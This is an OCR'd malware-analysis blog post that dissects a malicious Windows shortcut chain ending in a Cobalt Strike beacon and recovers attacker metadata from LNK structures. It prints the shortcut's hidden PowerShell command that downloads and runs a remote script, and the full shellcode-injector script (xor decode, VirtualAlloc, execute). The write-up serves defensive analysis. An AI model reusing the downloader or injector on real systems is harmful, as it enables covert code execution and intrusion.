LNK forensic and config extraction of a cobalt strike
beacon

malcat.fr/blog/Ink-forensic-and-config-extraction-of-a-cobalt-strike-beacon/

Sample:

21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73ab5ae20.Ink (Bazaar,
VT)

Infection chain:

.Ink shortcut (downloader) -> Powershell packer -> Gzip archive -> Powershell injector ->
Cobalt Strike

Tools used:

Malcat
Difficulty:

Very easy

A suspicious link

The downloader

The file we are about to dissect today is a .Ink shortcut found on MalwareBazaar. The
shortcut is a pretty straightforward powershell downloader, executing a remote powershell
script located at hxxp://120.48.85.228:80/favicon .
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https://malcat.fr/
https://bazaar.abuse.ch/sample/21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20/

3 Propriétés de - 21286ed0b3e56f49c28761 7eeShidef687c627e342d72297008e3fce.. X

Sécuritg Dénails Versions précédentes
Général Raccourci Options Palice Configuration Couleurs Temminal
"’ 21286ed0b3e56f49c287617eebbidef687c627e342d72297008= 3fce
Type de cible : Application
Emplacement V1o
Cible sowershell.exe -nop -w hidden -¢ "IEX ((new-cbject netwebclien
Démarrer dans E-\downloads ‘
Touche de raccourci Aueun
Exécuter: Fenétre nermale

Commentaire

Emplacement du fichier Changer d'icéne. Avancé.

Figure 1: The shortcut file and its execution

As a malware analyst, | would usually fetch the remote file and then move on to the next
stage. But something was odd with this file. Usually, links to PE programs have their
"Relative Path" string property set, at least that's what | am used to. But in this shortcut, the
string property is absent:

» Report

ShelllinkHeader

LinkFlags: EnableTargetMetadata(86000) + IsUnicode(88) + HasArguments(28) + HasWorkingDir(10) + HasLinkInfo(2) + HasLinkTargetIDList(1)
FileSize: 452608 bytes Write time: 2022-06-12 14:46
Creation time: 2022-06-12 14:46 Access time: 2022-06-30 04:21
File attributes: Archive(20)
Icon index: 0 Show command: SW_SHOWNORMAL (1)
LinkInfo
Drive Type: DRIVE_FIXED(3) Drive Serial Number: BA2E9690
LocalBasePath: C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe

LinkTarget
Link Target: C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe

Strings
NameString: ssmmm Empty 7'7
WorkingDir: E:\downloads
CommandLineArguments: -nop -w hidden -c¢ "IEX ((new-object net.webclient).downloadstring('http://120.48.85.228:808/favicon"))"
IconLocation:

Figure 2: Missing 'RelativePath' property

Chances are that the malicious link was not originally pointing to a PE program. The threat

actor linked to another type of file, and then modified manually the link target to
powershell.exe when tailoring its attack. It's odd, thus interesting. People in DFIR are

aware that windows shortcut files can actually provide much more information than what is

displayed in the properties dialog. So let us dive a bit with Malcat and see if we can dig up

some extra information on this weird shortcut file.

Guessing the original linked file name

The first step would be to check online intelligence for the original submission name of the
file. Usually, the name of a .Ink file is the same as the name of the targeted file, only the
extension differ (e.g program.lnk pointsto program.exe ).
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DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY @

Basic Properties (O

MD5
SHA-1
SHA-256
Vhash
SSDEEP
TLSH
File type
Magic
TriD

File size

History ¢

e3f89049dc5f0065ee4d780f8aef9c04

baSfcbdbd5b71bfc52b8a824bd40c547a7223260
21286ed0b3e56f49c287617ee5hf4ef687c627e342d72297008e3fce73a5ae20
285fe8da2bc3ee8054e9a7ba383c3589
24:8GpFGZR402ioKfWCXaARWy6yjT1tugsmbHNUJM8gQHII:8GSH402XCZ13mYHI/HI
T18F31F32105F5461DD4EBOA396837B3419A32BE84E61152DE25A0B44E5CA6714F8F8B3F
Windows shortcut

MS Windows shortcut

Windows Shortcut (100%)

1.53 KB (1563 bytes)

Creation Time 2022-06-12 14:46:28 UTC
First Submission ~ 2022-07-07 02:53:40 UTC
Last Submission  2022-07-01 02:53:40 UTC
Last Analysis 2022-07-11 03:33:16 UTC

Names

8qds58meb dil /
Wit TREBETA Ik

submission name

Figure 3: Submission name on VirusTotal

In VirusTotal, we can see that the file was submitted as [+ : €& BEZETE . 1nk whichis
Chinese for: Attachment:Security Self-Check Tool.lnk . This sounds more like a
click-bait name than a standard file name. Chances are that the shortcut file name was
modified post-creation. We only learn that the targeted victim is most likely Chinese-

speaking.

Lucky for us, most .Ink files have an ExtrabData section which is a collection of structures
storing additional information about the linked file. These structures are filled during the
shortcut creation, and are usually not updated when the file is modified using Window's
properties dialog. The one we are particularly interested in is the structure named
PropertyStoreDataBlock . In Malcat, switch to the structure view (F2 F2) and jump to

offset 0x540 (Ctrl+G, 0x540):
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e PropertyValue:
ExtraDat | @0@eee49c : ValueSize: ox15
ExtraDat | 000000420 Id: System.DateCreated (Oxf)
ExtraDat | ©006004a4 : Unused:
e TypedValue:
ExtraDat|@e06ee4as: Type: FILETIME (©x490)
ExtraDat | ©00000429: Data: Thu Jun 30 ©5:21:58 2022 (©x01d88c3088e3b4f00)
e PropertyValue:
ExtraDat | ©0008004b1 : ValueSize: ox15
ExtraDat [ ©000004b5: Id: System.Size (@xc)
ExtraDat | @008004b9: Unused:
e TypedValue:
ExtraDat|@e0eee4ba: Type: UI8 (@x15)
ExtraDat | @0@@004be : Data: 0x38c26
e PropertyValue:
ExtraDat | 6000004c6: ValueSize: ox49
ExtraDat | @006004ca: Id: System.ItemTypeText (8x4)
ExtraDat | 6000004ce: Unused:
e TypedValue:
ExtraDat|@000004cf: Type: LPWSTR (@x1f)
e Data:
ExtraDat | ©000004d3 : Size: oxlc
ExtraDat|@eeeee4d7: String: "Microsoft Edge PDF Document”
e PropertyValue:
ExtraDat | @00e0e50ef: ValueSize: ox15
ExtraDat|@00800513: Id: System.DateModified (9xe)
ExtraDat|©00600517: Unused:
e TypedValue:
ExtraDat|@00000518: Type: FILETIME (@x40)
ExtraDat | @0@8ee51c : Data: Thu Jun 30 ©5:22:00 2022 (©x01d88c3@8fb716€0)
ExtraDat | @00000524: Terminator:
e PropertyStorage:
ExtraDat | 600000528 StorageSize: ox79
ExtraDat|©00600852c : Version: "1SPS™
ExtraDat | ©00000530: Format: SHELL_DETAILS (28636AA6-953D-11D2-B5D6-80C84FD918D0)
e PropertyValue:
ExtraDat | ©00800540: ValueSize: ox5d
ExtraDat|@00eee544 : Id: ParsingPath (@xle)
ExtraDat|@00000548 : Unused:
e TypedValue:
ExtraDat | @00800549: Type: LPWSTR (@x1f)
e Data:
ExtraDat | @0080e54d: Size: %26
ExtraDat | 000000551 : "E: \downloads \Hf#1: 20{a[7E 1 BLAPP L 52 BhI BALY 7 . pdf"
ExtraDat | ©0080859d: Terminator:

Figure 4: PropetyStoreDataBlock structure in the ExtraData section
And .. jackpot. We can see that the property ParsingPath in one of the

PropertyStorage structures holds what is most likely the original file path of the target of
the shortcut. The .Ink files pointed to E:\downloads\f{1 : 2{a4E/MRAPP_ESEAL CE IS
4% ? .pdf which is chinese for E:\downloads\Attachment 1: How to complete the
settlement and payment on the IIT APP? .pdf (a chinese tax-related pdf). So mystery
solved. The link was indeed pointing originally to a PDF document and was modified to point
to powershell.exe afterwards. This explains the lack of RelativePath String member in the
shortcut.

Getting to know the attacker

Knowing the original file name of the link target is great for pivoting. But can we learn more
information about the attacker? Well, the structure PropertyStorebDataBlock gives us
three more valuable informations about him:

e System.DateCreated : the linked file E:\downloads\Attachment 1: How to
complete the settlement and payment on the IIT APP? .pdf was most likely
downloaded the 30th of June.

e System.ItemTypeText : this is the mime type of the linked program. Microsoft
Edge PDF Document tells us that PDF files were associated to the Edge browser on
the attacker's computer. Which kind of madman does this? Well someone on a fresh
computer who does not have another browser or adobe reader installed for instance.
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e FolderpPath : the original file was downloaded into E:\F# ( E:\downloads in
Chinese). So the user of the computer is also most likely Chinese-speaking.

Can we go further? We Could inspect the LinkInfo structure. It does indeed validates that
the shortcut points to the program powershell.exe . Butit also contains a property named

DriveSerialNumber which is pretty interesting for forensic investigations. It is the serial
number of the hard disk storing the linked program at the time of its last modification. So
basically, that's the serial number of the hard disk of the threat actor.

e LinkInfo:
header|#0000025b: LinkInfoSize: ox68
header|#0000025f : LinkInfoHeaderSize: oxlc
header|#00000263: Flags: VolumeIDAndLocalBasePath(1)
header|#00000267 : VolumeIDOffset: #0x25b + Oxlc
header|#0000026b: LocalBasePathOffset: #0x25b + @x2d
header|#0000026f : CommonNetworkRelativelinkOffset: #Bx25b + Ox0
header|#00000273: CommonPathSuffixOffset: #0Xx25b + OxFZ:

" e VolumeId:

header|#00000277 : VolumeIDSize: ox11
header|#0000027b: DriveType: DRIVE_FIXED (@x3)
header|#0000027f: DriveSerialNumber: 0xba2e9690
header|#00000283: VolumelLabelOffset: #0x277 + 0x10
header| 400000287 : Data: u
header‘||#00000288: LocalBasePath: "C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe"
header|#000002c2: Padding:

Figure 5: The LinkInfo structure

And if you think that having the drive serial number is neat, what until you see the
TrackerDataBlock structure. It contains the computer name of the attacker's computer

( desktop-31400cr ) and two very interesting structure members: Droid and
DroidBirth . DROID stands for Digital Record Object Identification and uniquely identifies
a file. These identifiers are made of a pair of two GUIDs. And very interestingly, the last 8

digit numbers of the second GUIDs are actually the attacker's MAC address.

TrackerDataBlock TN A ExtraDat [0000003b3: SpecialFolderID: ox25
ExtraDat|| 7:

Offset: oxdd
= Trackenjbataﬂlock e KnownFolderDataBlock:
Blocksize ox60 mac address ExtraDat 0000003bb: BlockSize: exic
BlockClass TrackerData ExtraDat [|0@0ee03bf : BlockClass: KnownFolderDataBlock )a000080b)
Length ox58 ExtraDat [ 0@00083c3: Folder: System (1ACL4E77-82E7-4ESD-B744-2EBIAE5198B7)
Version ox0 ExtraDat g Offset: oxdd
MachineID desktop-31400cr e TrackerDataBlock:
= (TSP ExtraDat [ 0000003d7: BlockSize: ox60
— ExtraDat [0000003db: BlockClass: TrackerData (9x20000003) computer name
Droid[@] 18CDA@BO-9529-4B49-B3BB
. ExtraDat | @000003df: Length:
Droid[1] ABCOF7BC-F819-11EC-B1431005056C00008 Dat . Version: TrackerDataBlock
| DroidBirth ﬁgﬂ? e7: MachineID: “desktop-31400cr”
DroidBirth[@] 18CDA@BO-9529-4B49-B3BB-AAS4930676E8  ExtraDat||00000037 7 pd o
DroidBirth[1] A6COF7BC-F819-11EC-B143-005056C00008  ExtraDat|000000417: DroidBirth: 4=1)0IK[q-Toavpd fatoy« C PVl o

Figure 6: The TrackerDataBlock structure
A quick google lookup tells us that 00:50:56:C0:00:08 is associated to vmware network
interfaces.

So in a few minutes, we've learned a lot of information:

o The attacker is most likely Chinese-speaking and targets a Chinese-speaking victim

e The attacker's is using a Vmware virtual named desktop-31400cr and its mac
address is 00:50:56:C0:00:08

¢ On the 30th of June 2022, the attacker downloaded a file named Attachment 1: How
to complete the settlement and payment on the IIT APP? .pdf using his
Edge browser

o The attacker then changed the link target (most likely manually using Window's
properties dialog) to powershell.exe -nop -w hidden
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e The attacker changed the link name to Attachment:Security Self-Check
Tool.1lnk

In conclusion, never underestimate a Windows shortcut file. Now let use have a look at the
next stage of the attack.

Second stage: powershell packer + injector

The packer

The file downloaded by the powershell command is located at
hxxp://120.48.85.228:80/favicon . Itis a 190KB powershell script of sha256
4109d17d439e425d24e9d11956adcc63ff8e24ccfffe21dd8c5431fe969d2783 (Bazaar,

V).

¥ Malcat Professional - D:\malware\demo\cobalt\Ink_dided1 - u]

File Edit Analysis View Help

L files (0+0) ==( [ ink didedt |9 B E S48 A &) £ 6
Name Size |eo0000000: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sTAAAAAAAAAOYIWE/ySLIg+tz9K+phS1UL ~
v 12 Viirtual File System 00000060 : ajcGgzEjbWnA3GxsczEXQO+rBTYYG7DxDZ0eM//9REQalvqqaudpzbwdne/TEr510jMyMudRtk7Zv1tZ4juZEbmnn/59c@pS W

v %CarvedFiles 0000000c0: Pwp/av71r/82iNTsp//46b///NdzHjoZXsaDf3qn7J+PIHL+eXDd5ISmP/3Pv/51fkg0959++bfnIfnnPXLz2+m3n+gEHzy5

000000120: eXL69S9/+etf6FIepofz6Z/hIfOfp3/eT9k1c1NABSS/72z0eg+h+8MN//Lf/puRIcgozfv638Snrpenpfrz5p/SXX3/6f37a
|leee0001806: Xk73I6d9nx+DkZD/925/+729/G9+i4+FWPcalg30BCFVCF+/pkXPAGFzNetz87Jef/8f/+PnXv/974x9/G8b54Zb+8rPFOuUX0
|leee0001e0: /5t7u/3860//61d84Y09Tr/8bPhOEqXROfVblg/F5t/WNHqQTBm/wsf/8azUz73GAefznk8ReeZtffobDOcCmx2H4828/ /R3f
000000240: 9/d//00n//4ZzTIPM/9++psaZqckelin50k7p/RvkOPo3k7L@xma/ZzC80Xez7/CIIIT1ifhT++xQLtndD398mOhfrvoBv3+
000000220: /V/t9x+/mKfiDdx/tdEv3xvBU/Ms+fW3Cif+FXAYhDe805j0HOb/Dbl+hX9/QLBf//q//vonqOqebifvkI3+mQF8v+HgX//y

&4
> data (0+0+0) 000000300: 17/T4Qnm88s8Sn1q9x8/ Cb/9ZMAGDLMUMF ZOVZKFFv3HL/ rul75bpr/9px013q2qNnx5+Dj+46e/byLf/cdf//LrXyvsuev/

> &5 Structures 000000360: POb+zT0@1eP8/3w2DO9KPTWMWHUE+80b4X/55zU7n24ng8bf3YyaM85efqxsnd1BB52cE6N//2Gx497NP2z4FfXM+BdUShVIAS
v Constants |lee00003c0: v/44GLE6GV/yshsbpDvDj54Cm/3aGbXZ6P11tLfZ+0545Liu3Q5r+9tM8h33u/PaTdTrcTuSvP/XC1K9u9fIsosOfv4Zr5LfM
v Iﬁ Search result |l0eee00420: dwSp9u7uH7/+CUirVytRCDsmd2B1AQur63Fy/MMNofLbTXPFPFWZ5XvvIfz8pzBRDrcbbDno6QlrAlcQF1aG0JI04v/@eP379

000000480: m3XK1PvjdrrDO@SFRreDBzSn21GEbgfv5P78Xwz7vU/4pkBYVvYHObACAANYtyn77aeMnGdC1n3/7A+L93w3VvRxLzwzCV5FQt
0000004e0: 5C+0Ef/eZx1uF3rSQebyHx9YEUSSDKA2Sq]7/5CepIZFZ0yXn4/h7bVPE@B1RNCalrIbJl+Mo78c2nIvzvi6@D313nYZ43zXL
000000540: En//qz+BfgX5bgnBjSV575H6x1pLcYVsuu6Zq/X6NVyvtV1P6CurdcPYFGZ/6ZnLzVUYWPC3b76KntA21sLO1P3Wo//Vd+v5
|leee0005208: KPOzWWdPuzzLSUMWE9NUse9fn7aI535gH7obvL+dmvtOI8L7u6jxep7reP843t27brdq32my6n7neTzz91ule325+12n0cX7

& code (0) |l000000600: zvrRs@R8n/Cn83Wau@Btyr7GZt3BpTH4ujeH47EyVdRYZeZLtYxgyVR+r3tTVNS8IDDxuGBe6V1bnbAh/u@//mv/1roL14Nd5
- 000000660: n1/UpuHDb1n9UR/@x+/TtZR5nirie+eTpWEMFzX61eNPVCVella/8qzn79Vwx8Gu99fx/mVhvevtDe3wv64wWNxzxBeBAIX
Name Size 0000006c0: iPAJ/+R5gK85GGXGk8XNVWDMSq684TmrE7Sawz+8B8e3KxpVGyPotRYcVtC2h/PtDi9/eFcT/mqGuV7v56shrEEpd/F6C9e]

000000720: oGAEbP9jOXP//tjX///3//@/8RCVYr8R94/2jd8r49n23tg456if+htPilw/zw/s91gtroImyMPayClj++qP7cjf+N3Lbqvs
|loeeee0780: j/pl+100YqbsW1IBKkMTpMd40/Shilrxjdm81jmHVbwroBpvX9vs9y9W8BHHAMZ7DkaIGzjQ4WpYpsNIaqv7MaSczré/MaptC
|loe00007e0: belI2t2qglnUnry6p@nHc+NgHhly3Z1sBAv2GewvvS2uA7VdBD3oNzZNwXXyiQt4H88zwT@8ak@57+C509nG+6yulzbsresr
000000840: qOuUPewN+plL7/hLneiOEfuh4Wbly@4F9Ioij49kx0voQ6F@86djJ/ThxI3NdnEAfOiDcQ3tRFhSEL3TwfcmIFzpwrVlbeEhL
0000008a0: VflpDGFc71T3NNyT4sDZZGe93jeo/VzOti7s7/0k0ZLyfjM2ugznFvc7tEahRfSkEc+furpc+Kp@yafipnSmj7tYwWadTZa5f
000000900: 1rwvQ74@on7hb+5+dMxq+Vk5Ra3ptRyvt0O1MOr825ezhMHXv+NpWb5rB7j4N5c1xNIZNVS@Igmj+dB65uZOX6tWlzYLI+Url
|leee000966: zUYSLOKELaxTyerxiq9THoV8je7i6DBy7RXMq6639kD7CSZ5F+SrQTRzyq+51byydD/4B7BcWWwGFUC/8hBosSmdUq8X9QUF
|loeee@09co: 8C9/WA70nT9XzIvqCpaTFkBz4f2sFt@s/v7G5ii5h/ZdkPOFhrglefGQjuW8QNzHPhw50+I1GtMp8dyDty@b0O8+QVRZ/5yzf
000000a20: W7CQRn4aWWpwCqNda+RksbYOEWcT2WZbXAbB+aT4bRqbsWhI@To0i3AnioSbTjjllpkculaV77NukKY52+PeEv4R1BeC5s8j0
00000Ra80: aojnkSAdnc3K9yZRagkDA/ZYAGwCt8EaQkmwCGOOWDg+Kj5kGi/2H/dO/kviDKZt5+tr/eTkQYIjy82N4b62hnS564jT810Y
000000ae0: Al6dwkQlhtfgh3E@O050MhiDKZ3zgX4PkF8cXdF80a@J@AhpMGlKg/kAaIU7zAPkeeyViTimUEHeDMMX1wlWLpudR2CPhF3X
|loeeeeebs0: U9fFHedfOYI2jI2auE7LwimqwhikQnzmrIuxHMD5hZ/X9ULyYA3ZuiVePbrinfOrF1MNn4tMhWLHULIJ3aFP7HUSLN2Tyic4N
|loeee@obad: CZ6FPXvtA3xwHWm307Uvz/oV24umtrdD3T9Ux2KoezE/3k1C/XHg75WkS9gv5vpeKmgP6bBfZxbBO9bSFI8qiPf7dnw5TIaA
000000CcP0: s0zB4f1GepuZmibeewLhTlalFcS1LBmBLHWEXkM+1rl+oPfPnU3hiEx+MITIIHIWVRG/@sdxiPBO+/Xdxei+7H4xi/aF@xFH
000000c60: zkSRSOEKY3HETYHNQz1juKfisTMZSP1J/5XC2LBVN2DN2Qv3imsP8FxkL3Wr+nRvO1Y0006d6JEIdLOYLATBXDf704Ldjt5b
000000ccO: xzHa+J6+/PQRA2CFPC3LbbP290F942z0Tn33N9daA@xwd16HMgbYLfbxvyPn1AbA4xZ/rZTySIwasVTAEWVWMHRX1Tal/7pdP
|leee000d268: ZyOcOWVIOAGANALjDVUtNKTZPwW2YstdldpSzuwl4fkqfvQP8MpZdkPYD1YK+]jsGGHFXDAPvtndTGGvaH6QL8U1MYC45rQOM+
|eoee00d8e: 4xwnrLw+OA2p6@MF3il7SRtg2iM5eK6PLA/FN535bzxIbVyHWIEIBX75Y3Ns6asNHZtbdakrAx8UgettMpyPpIYSFXENCU/q
000000de@: abo@oJ/hfLKGd3eYM1zIuynlM56bC3URXABVFgN4Jurz/1URBGIOEP1YcrxpXS2gwxKrMcAfUz7bfvQKOS/EPc2EANkN80+u
000000e40: FM/ya09nNUby+cxbAAyd9TVw4iil72kYh8aTSds50XBWpz7i85611XQh260XEz8STXqUUznTAkbB+3km2g344dflaylfVOCh
000000ead: unANk/vubRCtSe8qp6vVs91GDHQMHG+fyniduNPLyXgFRzuIgVc4TdcE3tt9bTQ5NXKgs+pNCLEL/CbAK2qcBrXvBudbeGfe
|leeeo0RfRB: 2iEN1ACeriluc42fREdLVo9WumvdWhKMo8Rx6KLUbKyz3nwBTWDaTUOeCLITseqT2gLOWVIN7RYbVpupuEdGTq4MWcWr7 14X
|leeeo00RfE0: K3MVHhsIH8c11lyWQcUoF4PrUGbAHCRr5CLNzmtRxjYYz891/vg9MorOMpVt cEwHHNW3cSdgXk1DwQZaYDXEPmzk9C3xkTbKI
|loeeee0fco: 2BeYOLIpz/pZwzXyuAl9u7B2rpH5PshKrpH2qnGuzpNLt4J1AbzGpT@12vqrD/QZ5tkUsF@qUDUT+ME+ASyg/qZBhzEF5g5y
000001020: 17wzCBeKTD4fAu8tYyGfePMMVug74hesW62NPq/eB2PN8xuMGeCgD+Ir7D/tBPqRj7zCDoAWBSC72XwdwyT10Y31SsQIXbgB
000001080: nZC2ahdgairj80SMgX+Ax1y6NKfwO5MuF/wlle/xGUIbWND+Ld3a+/lexffmKBOhu9fgBc+K2IZ1rl/PT9sPWlwD3w6s8aVh
0000010e@: z+9w3Tp5zcI8C/@B7ME02IR9gLEaRMY6sLVDRQt4e3I/Xez3rxQdz6e+LqIMjXB20tgHPPaSzFIXs1jbqcHaGpbxfR16kUnX
|leee0011408: 9lauPBrqxeA@86bX1jejbg7Ven7drlyQZY2yPV532HURGHBVXnR1ureYdat7k/M6ontK3Wvye3IGujDes+3VmudNm3KD7ilr |
|loeee011a0: p+re8VXye7vC4/e2p5qpaLl1lNogX8fcfOokv37H1tTu@2YiMQENS5IbA1Ob210Ap/ulQ+t104t221+b+0GLr+nzwf831ro+7xd L
lleeeee1200: fVe97/hY4DOuS+raolweBntts3vBfgvV2TSaskGazprx9DUIdrknan2zsWVEE7x/110vuCiw990ZyFev+Tn2dbWuMKd1m9rR v
Deleting analysis 5 D‘ 0x00000000 (:0) auto ~  noCPU © 700 ms 0

Figure 7: Unpacking the payload string

The script is composed at 99% of a base64-encoded string. So let use Malcat's transform on
this string (select the string and then Ctrl+T) and chose base64 decode -> New file. The
decoded string appears to be a GZip archive. Double click on packed content in Malcat's
Virtual File System tab and you will display the unpacked gzip archive.
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https://bazaar.abuse.ch/sample/4109d17d439e425d24e9d11956adcc63ff8e24ccfffe21dd8c5431fe969d2783/
https://www.virustotal.com/gui/file/4109d17d439e425d24e9d11956adcc63ff8e24ccfffe21dd8c5431fe969d2783

The injector

The file inside the GZip archive is a 275Kb ps1 script of sha256

b154b7681167bd4a61c54b543126f31d0eccas4c71846d5fe35a677c908fae3dl . It contains
a huge base64 payload stored in the powershell variable $var_code . The script itself is a
simple injector performing the following steps:

Base64-decode content of $var_code ( [System.Convert]::FromBase64String )
Xor the decoded content using the value 35 as key ( $var_code[$x] =
$var_code[$x] -bxor 35)

Obtain the address of the api VirtualAlloc

Allocate enough space for the decrypted content using VirtualAlloc

Copy the decrypted bytes to the allocated buffer

Run the assembly (i.e. the PE file) loaded at this address

( $var_runme.Invoke([IntPtr]::Zero) )

The full code of the script is given below:
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Set-StrictMode -Version 2

function func_get_proc_address {

Param ($var_module, $var_procedure)

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-
Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.d1ll"')
}).GetType('Microsoft.wWin32.UnsafeNativeMethods"')

$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-
Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null,
@($var_module)))), $var_procedure))

}
function func_get_delegate_type {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter (Position = 1)] [Type] $var_return_type = [Void]

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName( 'ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]: :Run).DefineDynamicModule( ' InMemoryModu
$false) .DefineType( 'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])

$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]: :Standard,
$var_parameters).SetImplementationFlags('Runtime, Managed')

$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',
$var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()

[Byte[]]$var_code = [System.Convert]::FromBase64String('<redacted>")

for ($x = 0; $x -1t $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35

}

$var_va =

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ((func_get_proc
kernel32.dll virtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32],
[UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer,

$var_code.length)

$var_runme =
[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ($var_buffer,
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(func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)

Nothing fancy there. Decrypting the payload using Malcat is a piece of cake:

 In Data view, select the base64 string
o Transform (Ctrl+T) the selection: base64 decode -> new file
o Select all bytes of the new file (Ctrl+A)
o Transform (Ctrl+T) the selection: xor decode (35) -> new file
v"@" Malcat Pr O <
File Edit Analysis View Help
(L) files (0 +0) ‘2‘ [ Ink dided1 = base64 decode at [#3c-#2fa2c[ = <content> ‘Ej WglealalglelA)a)s)a)é)
Name Size |oe00o0000: Set-StrictMode -Version 2[f$DoIt = @'Rfunction func_get_proc_address {foParam ($var_module, $var ~
v i Virtual File System |loeeeee060: _procedure)oofo$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where- ]
- ;%Carved Files |loeeee00co: Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals(’'System.dll') }).GetType
000000120: ('Microsoft.Win32.UnsafeNativeMethods')f@o$var_gpa = $var_unsafe_native_methods.GetMethod( 'GetPro
000000180: cAddress’, [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))foreturn $var_gpa.In
0000001e0: voke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServic
|lee0000240: es.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invo
47 data (0+0+0) |loeee00220: ke($null, @(%v?r_module)))), $var_procedure) )A}@function func_get_delegate_type {HOP?r?m (Boo[P
000000300: arameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,foo[Parameter(Position = 1)]
> @ Structures 000000360: [Type] $var_return_type = [Void]Qo)@o$var_type_builder = [AppDomain]::CurrentDomain.DefineDyna
v Constants 0000003c0: micAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection
v m Search result |lee00004206: .Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyD
|loeeee0480: elegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])@o$var_t
0000004e0: ype_builder.DefineConstructor('RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConv
000000540: entions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')Ro$var_type_build
0000005a0: er.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_paramete
) code (0) |loeeee0600: rs).SetImplementationFlags('Runtime, Managed')@foreturn $var_type_builder.CreateType()Q}E[Byte[
- |loeoo00E60: ]]1$var_code = [System.Convert]::FromBase64String('bnlxZssjIyMjeKr8dqrGouBqXyMj3PBLO5aBdUsnIyMjdN
Name Size 0000006c0: zzIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj0yMjIy@8mSejlyruApsib+4CdOtKUANTUUXEUUIOA@BCTUIMVWNBRENRVKODSK
000000720: ©DZ2xwA@5MROYNLi4pByMjIyMjIyMavpzufN/yvXzf8r183/KOwZBkvX3f8rlijXa9VN/yvWKNZ7103/K9Yolxvf/f8rlbGY
000000780: m9d9/yvXzF872y3/K9Yo17vbFf8r1ijWCOFfd/yvWKNY7193/KIcUpAS3zf8rajIyMjTIyMjIyMjIyMjIyMjc2Y§1281Iy09Dh
|e@ee0e87e6: 1DIyMjIyMjIyPDIyGCKCIQIyNXISMjRyIjIyMjI91CTIiMiMyMjI1MhIyMjIzMiMyMITIyEFIyY3IyMITIyMjIiMiTyMITyMIuy
|loeeee0840: AjIycjIyMjIyMhI2MilyMzIyMzIyMjIzMjIzMjIyMjIyMzIyMjsyggI3IjIyPH2SEjRyMjTIyMIIyMjIyMjIyMjIyMjIyMiTy
000000820: MjIyMjIyPjICPzNSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMT1iEjYyMjIyMjIyMjIyMjI1MhIzMgIyMjly
000000900: MjIyMjIyMjIyMjIyMjIyMjIyMjIyMNVOZbVyMjI3ZyISMMyMjI3EhTyMnIyMjIyMjIyMjIyMjIyMDIYNDDVFHQLACIyPCUC
000000960: MjI1MhIyO/IyMjdSEjIyMjIyMjIyMjTyMjYyMjYwlHQLdCIyMIA4Q] TyMzICMjASMIIOERTyMI Ty M TyM;IyMjI2M5 I+MNUU
|eeeeee9ce: ZPTEAjIz89IyMjayAjIwMjIyM3ICM]IyMjIyMjTIyMjIyNjIyNhIyMjIyMjIyMjTyMjIyMjIyMiTyMjIyMjIyMiTyMiTyMiTy
|eeee00a20: MjIyMjIyMjIyMjIyMjIyMIIyMiIyMjIyMjIyMjIyMjIyMIIyMiTIyMjIyMjIyMjIyMIIyMIIyMiTyMjTyMjTyMjIyMIyMITy
000000a80: MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTy
000000ae0: MFIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTIyMjTIyMjIyMjIyMjIyMjIyMjTy
000000b40: MFIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTy
